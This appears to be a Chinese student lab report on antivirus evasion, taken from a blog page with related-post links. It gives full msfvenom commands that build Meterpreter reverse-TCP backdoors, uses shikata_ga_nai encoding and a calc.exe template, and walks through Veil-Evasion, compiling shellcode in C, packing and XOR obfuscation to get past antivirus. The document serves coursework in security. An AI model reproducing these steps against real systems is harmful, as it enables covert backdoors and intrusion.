20155339 Exp3 免杀原理与实践
20155339 Exp3 免杀原理与实践
基础问题
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)。
- 启发式恶意软件检测(很简单,就是根据些片面特征去推断,也就是进行检测,当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
- 基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。
(2)免杀是做什么?
免杀,从字面进行理解,避免被杀毒软件kill,也就是恶意代码要能够不被杀毒软件发现进入并驻足于系统。
(3)免杀的基本方法有哪些?
- 改变特征码,如:对EXE进行加壳(压缩壳、加密壳);对shellcode(像Meterpreter用encode进行编码或者基于payload重新编译生成可执行文件;源代码,用其他语言进行重写再编译(veil-evasion)。
- 改变行为,有通讯方式和操作模式两种方法。
- 通讯方式包括尽量使用反弹式连接、使用隧道技术、加密通讯数据。
- 操作模式包括基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
实践总结与体会
基于上一次实验的基础完成了这次的实验,这两次的实验很有趣,上次的实验为了让自己完成任务或者说为了让自己开心开心,还需要假装没有杀毒软件,关闭或者在杀毒软件中把我们的后门手动添加信任,然而这次的实验,很明显,自己高端了一些,不用关闭杀软也可以攻击自己了,可是与此同时更深的恐惧也就袭来,完全太可怕了,竟然自己都能攻击得了自己,要是真正的专业人士想攻击,岂不易如反掌!除此之外,发现瑞星这个杀毒软件有点强,除此之外,发现查杀与编译的语言也貌似有些关系,用C语言编译的后门比C++编译的后门更容易被查杀,还有360查杀貌似更基于行为进行检测,而电脑管家感觉基本就是基于特征库进行查杀。
离实战还缺些什么技术或步骤?
在本次试验中,我尝试了利用Windows下的计算器程序作为可执行文件的模板来生成payload,但是事实上,并没有所少人会下载这个计算器吧。所以或许需要一个更好的比如像微信安装包这样的可执行模板并且保留其原有的功能,那应该就很厉害吧。
实践过程记录
Virscan测试后门
由于这次实验我选择的病毒扫描引擎是Virscan,所以在此先对上次实验产生的后门进行一个测试,我选择的是Virscan,还是比较好用,唯一的bug就是文件名字一旦包括数字就会说包含广告?所以需要对上次的后门重命名一次,结果直接上图吧:


的确上次试验一拷到主机就被查杀了!
使用msf编码器
在这里先贴出一些学习了的相关知识点:
一些重要的msfvenom命令行选项如下:
-p,指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定。
-f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e,指定需要使用的encoder(编码器)
-a,指定payload的目标架构,指定payload的目标平台
-b,设定规避字符集,比如: '\x00\xff'
-i,指定payload的编码次数
-x,指定一个自定义的可执行文件作为模板
注意:
- **生成payload,有两个必须的选项:-p -f **
- 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
msf编码训练
- 由于上次实验生成的后门非常容易被查杀,所以这次进行了一定的学习后发现使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload,想着会不会更不容易被查杀,因此进行以calc.exe为执行模板编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe



- 使用-i选项进行多次编码。因为在某些情况下,迭代编码可以起到规避杀毒软件的作用:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.224.136 LPORT=5339 -x calc.exe -f exe > met-encoded.exe


查杀率依旧很高。因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这些就可以了。
Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装,需要我们自己安装,只是安装过程路漫漫其修远兮~
安装完成之后,在Kali的终端输入
veil进入Veil,输入list。

输入
use 1,选择Evasion。

list payloads之后选择自己想要的语言,比如我第一次尝试的是powershell,所以键入use 21。



设置IP这只端口,然后
generate。

出现下图所示,其中记下生成的文件存储的路径。

可是此处可以看到我的.bat脚本生成失败。多次尝试仍是如此,发现很多同学也是,很多语言的脚本无法生成,因此再次尝试Python,同样的步骤,直到下一步。

选择1。
- 依旧出错,好像之前安装Python的时候出错了,由于安装这个实在需要太多时间,所以还是去尝试其他语言了。
- 再次以同样的步骤,选择C,终于成功。

一拷到我的windows就不行了

加入信任,放到网站上扫描下,然后开始回连,回连成功


C语言调用Shellcode
生成一个c语言格式的Shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.224.136 LPORT=5339 -f cLinux平台交叉编译Windows应用:
i686-w64-mingw32-g++ met.c -o met.exe生成met.exe。

但是拷到Windows中就会提示失败。

用VS编译生成了一个exe,放到网上扫描一下,一拖过去就被查杀了,添加信任,回连,成功。


VisualStudio
安装VisualStudio,也花费了我的很长时间,到官网下载,需要选择的没什么,只是需要网和等待,其中下图中需要进行如下选择。

在VisualStudio 2017中建项目可以参照点击此处。
对生成的shellcode进行编译,生成exe文件。

一编译就被查杀了。

扫描并回连


加壳


加壳了之后更严重了。
组合实现免杀
尝试了很多方法:
对shellcode写成的c代码加壳:

对veil选择c生成的脚本加壳,没有被电脑管家查出,但是一运行就被360kill了。

还尝试了几种没能记录,最后看修改代码,尝试对原shellcode异或0x39,然后在代码中再异或回去,因为这样就可能降低其通过特征库查杀的概率,终于可以和杀软共存实现免杀,放到virscan上也只有2%的报毒率。




20155339 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- JavaScript arguments对象
1.在JavaScript中,arguments对象是比较特别的一个对象,实际上是当前函数的一个内置属性.arguments非常类似Array,但实际上又不是一个Array实例.可以通过如下代码得以证 ...
- JAVA EE期末项目-校园小商店
校园小商店 一.项目成员及分工 我(计科二班袁文雪)和队友(计科二班蒋媛)设计了一款面对校园的网上购物商店. 我的工作:理解分析代码,编写文档. 二.项目需求分析 网上商店系统主要是实现学生网上选商品 ...
- go语言练习:go实现md5
package main import ( "crypto/md5" "fmt" ) func main() { md5_ob := md5.New() md5 ...
- Leetcode题解之Valid Palindrome II
1.题目描述 2.问题分析 使用两个下标,检测下标对应的字符是否相等,若不相等,则考察子串. 3.代码 bool validPalindrome(string s) { , j = s.size()- ...
- 总结获取原生JS(javascript)的父节点、子节点、兄弟节点
关于原生JS获取节点,一直是个头疼的问题,而且调用方法的名字又贼长了,所以我选择用JQ,好像跑题了-- 话不多说看代码 获取父节点 及 父节点下所有子节点(兄弟节点) <ul> <l ...
- 向磁盘写入数据提示:No spac left on device通过df -h查看磁盘空间,发现没满,解决方法
初步判断应该有两种情况:一种是block满了,另一种情况就是inode耗尽了. 首先df -i 查看一下是否耗尽inode/block数量. 虚拟一块磁盘并格式化: dd if=/dev/zero o ...
- Centos7(Firewall)防火墙开启常见端口命令
Centos7默认安装了firewalld,如果没有安装的话,则需要YUM命令安装:firewalld真的用不习惯,与之前的iptable防火墙区别太大,但毕竟是未来主流讲究慢慢磨合它的设置规则: 安 ...
- SQL server 数据库基本插入、删除命令
一.实验素材: 附加学生信息表(student) 二.实验要求: 1. 查询student表中所有学生的信息 select * from student 2. 查询student表中“姓名”“ ...
- python 下 安装openCV
安装openCV openCV是Intel 创建的计算机视觉库,用于计算机图像处理. 安装anaconda,在命令行中输入conda install cv2/opencv 报错汇总 网络连接问题 报错 ...
- Django商城项目笔记No.12用户部分-QQ登录2获取QQ用户openid
Django商城项目笔记No.12用户部分-QQ登录2获取QQ用户openid 上一步获取QQ登录网址之后,测试登录之后本该跳转到这个界面 但是报错了: 新建oauth_callback.html & ...